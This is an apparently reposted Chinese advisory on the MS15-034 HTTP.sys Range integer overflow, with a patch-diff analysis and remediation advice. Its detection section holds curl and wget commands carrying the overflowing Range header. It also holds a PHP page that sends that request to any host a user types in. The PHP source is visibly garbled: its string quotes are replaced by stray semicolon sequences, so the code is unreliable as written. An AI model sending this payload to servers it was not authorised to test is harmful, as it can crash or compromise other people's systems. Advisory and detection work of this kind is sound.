HTTP.sys remote code execution vulnerability

IIS 系列 Http.sys處理 Range 整數溢出漏洞導致遠程代碼執行

1.漏洞概要

2015 年 04 月 14 日,微軟發佈嚴重級別的安全公告 MS15-034,編號爲 CVE-2015-1635,據稱在 Http.sys 中的漏洞可能允許遠程執行代碼。

2. 漏洞描述

CWE: CWE-119 

CVE: CVE-2015-1635   

 Http.sys 是一個位於 Windows 操作系統核心組件,能夠讓任何應用程序通過它提供的接口,以 Http 協議進行信息通訊。微軟在 Windows 2003 Server 裏引進了新的 HTTP API 和內核模式驅動 Http.sys,目的是使基於 Http 服務的程序更有效率。其實在 Windows XP 安裝 SP2 後,Http.sys 已經出現在系統裏了,但事實上操作系統並沒有真的使用這個內核級驅動,而 XP 上自帶的 IIS 5.1 也沒有使用 HTTP API。從曝出的 poc 來看,此漏洞是一個整數溢出類型的漏洞,微軟安全公告稱最大安全影響是遠程執行代碼。

3.受影響版本

這是對於服務器系統影響不小的安全漏洞,任何安裝了微軟IIS 6.0以上的的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系統都受到這個漏洞的影響。


4.漏洞原理

(from seebug)

根據補丁比較發現,POC 中提到的代碼出現在 UlpParseRange 函數中修改的部分。

在未打補丁的 Http.sys 文件的 UlpParseRange 函數中,代碼如下。

4.171

4.172

可以看到,在計算 64 位整數時直接進行了運算,沒有進行必要的整數溢出檢查。

而在打補丁的 Http.sys 文件的 UlpParseRange 函數中,修改代碼如下。

4.173

4.174

用 RtlULongLongAdd 函數來計算 Range 範圍長度 v18,這個函數中是做了整數溢出檢查的。

4.175

再看一下對 RtlULongLongAdd 函數的調用情況。

4.176

在未打補丁的 Http.sys 文件中只有 1 處調用了 RtlULongLongAdd 函數。

4.177

而在打補丁的 Http.sys 文件中總共有 13 處調用了 RtlULongLongAdd 函數進行整數溢出檢查,說明有漏洞的系統中可能有多個處理流程會涉及到整數溢出造成的安全問題。

通過補丁比較確定了修改過的函數如下。

4.178

經過分析發現,UlAdjustRangesToContentSize 函數中的整數溢出點,纔是導致漏洞能發揮作用的關鍵流程。

4.179

 

這段代碼還是採用了直接運算 64 位整數的方式,沒有檢查是否溢出,在補丁文件中替換爲調用 RtlULongLongAdd 函數。

這部分代碼的功能是判斷獲取文件偏移量的範圍,是否會超過請求緩存文件的數據長度,如果超出就把讀取長度 修改爲合適的大小,防止越界訪問數據。但是由於發生了整數溢出,使得判斷越界的代碼失效,這樣就不會修改讀取長度,造成用可控的長度值越界訪問數據。

5.漏洞檢測


curl:

curl -i http://xxx.com/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

wget:

wget 127.0.0.1 –debug –header=”Range: bytes=0-18446744073709551615″


PHP代碼:

<?php


class VulnStatus
{
const FAIL        = 0;
const VULN        = 1;
const VULN_NOT_MS = 2;
const PATCHED     = 3;
const NOT_VULN    = 4;
const NOT_VULN_MS = 5;
const NOT_VULN_CF = 6;

public static function AsString( $status, $host )
{
switch( $status )
{
case self::FAIL       : return ';<div class="alert alert-warning">無法連接到 <b>'; . $host . ';</b> 測試漏洞。</div>';;
case self::VULN       : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';;
case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞,但它好像沒使用IIS。</div>';;
case self::PATCHED    : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修復。</div>';;
case self::NOT_VULN   : return ';<div class="alert alert-info">不能識別補丁狀態 <b>'; . $host . ';</b>, 並沒有使用IIS,可能不存在漏洞。</div>';;
case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能識別補丁狀態 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';;
case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速,導致漏洞無法檢測或不存在。</div>';;
}

return ';好像壞了';;
}
}

$host = false;
$status = false;
$url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL );

if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null )
{
$url = ';http://'; . $url;
}

$port = parse_url( $url, PHP_URL_PORT );

if( $port === null )
{
$port = 80;
}

$url = parse_url( $url, PHP_URL_HOST );

if( $url !== null )
{
$cachekey = ';ms15034_'; . $url . ';_'; . $port;
$cachetime = 300; // 5 minutes

$host = htmlspecialchars( $url, ENT_HTML5 );

if( $port !== 80 )
{
$host .= ';:'; . $port;
}

$memcached = new Memcached( );
$memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 );

$status = $memcached->get( $cachekey );

if( $status === false )
{
$fp = @fsockopen( $url, $port, $errno, $errstr, 5 );

if( $fp === false )
{
$status = VulnStatus::FAIL;
}
else
{
stream_set_timeout( $fp, 5 );

$header = "GET / HTTP/1.1\r\n";
$header .= "Host: stuff\r\n";
$header .= "Range: bytes=0-18446744073709551615\r\n";
$header .= "Connection: close\r\n\r\n";

fwrite( $fp, $header );

$response = fread( $fp, 1024 );

fclose( $fp );

if( strpos( $response, ';您的請求範圍不符合'; ) !== false )
{
$status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN;
}
else if( strpos( $response, ';請求一個無效的header頭部'; ) !== false )
{
$cachetime = 3600; // 緩存時間
$status = VulnStatus::PATCHED;
}
else if( strpos( $response, ';Microsoft'; ) === false )
{
if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false )
{
$status = VulnStatus::NOT_VULN_CF;
}
else
{
$status = VulnStatus::NOT_VULN;
}
}
else
{
$status = VulnStatus::NOT_VULN_MS;
}
}

unset( $fp, $header, $response );

$memcached->set( $cachekey, $status, $cachetime );
}

$status = VulnStatus::AsString( $status, $host );
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="theme-color" content="#424242">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>MS15-034 測試</title>

<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet">

<style type="text/css">
.container {
max-width: 900px;
}

.masthead {
position: relative;
padding: 20px 0;
text-align: center;
color: #fff;
background-color: #424242;
margin-bottom: 20px;
}

.masthead a {
color: #fff;
}

.footer {
text-align: center;
padding: 15px;
color: #555;
}

.footer span {
color: #FA5994;
}

.form-inline {
text-align: center;
margin-bottom: 20px;
}

.github {
position: absolute;
top: 0;
right: 0;
}
</style>
</head>
<body>
<div>
<div>
<h1>HTTP.sys 堆棧漏洞測試</h1>
<h3>輸入一個URL或主機名來測試服務器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3>
</div>
</div>



<div>
<blockquote>
<p>在HTTP協議棧(HTTP.sys)造成當HTTP協議堆棧不正確地分析特製的HTTP請求的遠程代碼執行漏洞。成功利用此漏洞誰的攻擊者可以在系統帳戶的上下文中執行任意代碼。</p>
<p>要利用此漏洞,攻擊者必須發送一個特製的HTTP請求發送到受影響的系統。此更新通過修改Windows HTTP協議棧處理請求解決該漏洞。</p>
</blockquote>

<form id="js-form" method="GET">
<div>
<input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { echo '; value="'; . $host . ';"';; } ?>>
<button type="submit" class="btn btn-primary btn-lg">檢測</button>
</div>
</form>

<?php if( $status !== false ) { echo $status; } ?>

<div>使用Memcached分佈式內存對象緩存系統 | 所有的結果查詢會被緩存五分鐘</div>
</div>
</body>
</html>

Python POC (pocsuite)

https://www.seebug.org/vuldb/ssvid-89233

6.漏洞修復

通過 Windows 更新機制,選擇 KB3042553 安全更新進行系統升級。

referrer:

http://blogs.360.cn/blog/cve_2015_6135_http_rce_analysis/

https://www.seebug.org/vuldb/ssvid-89233



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章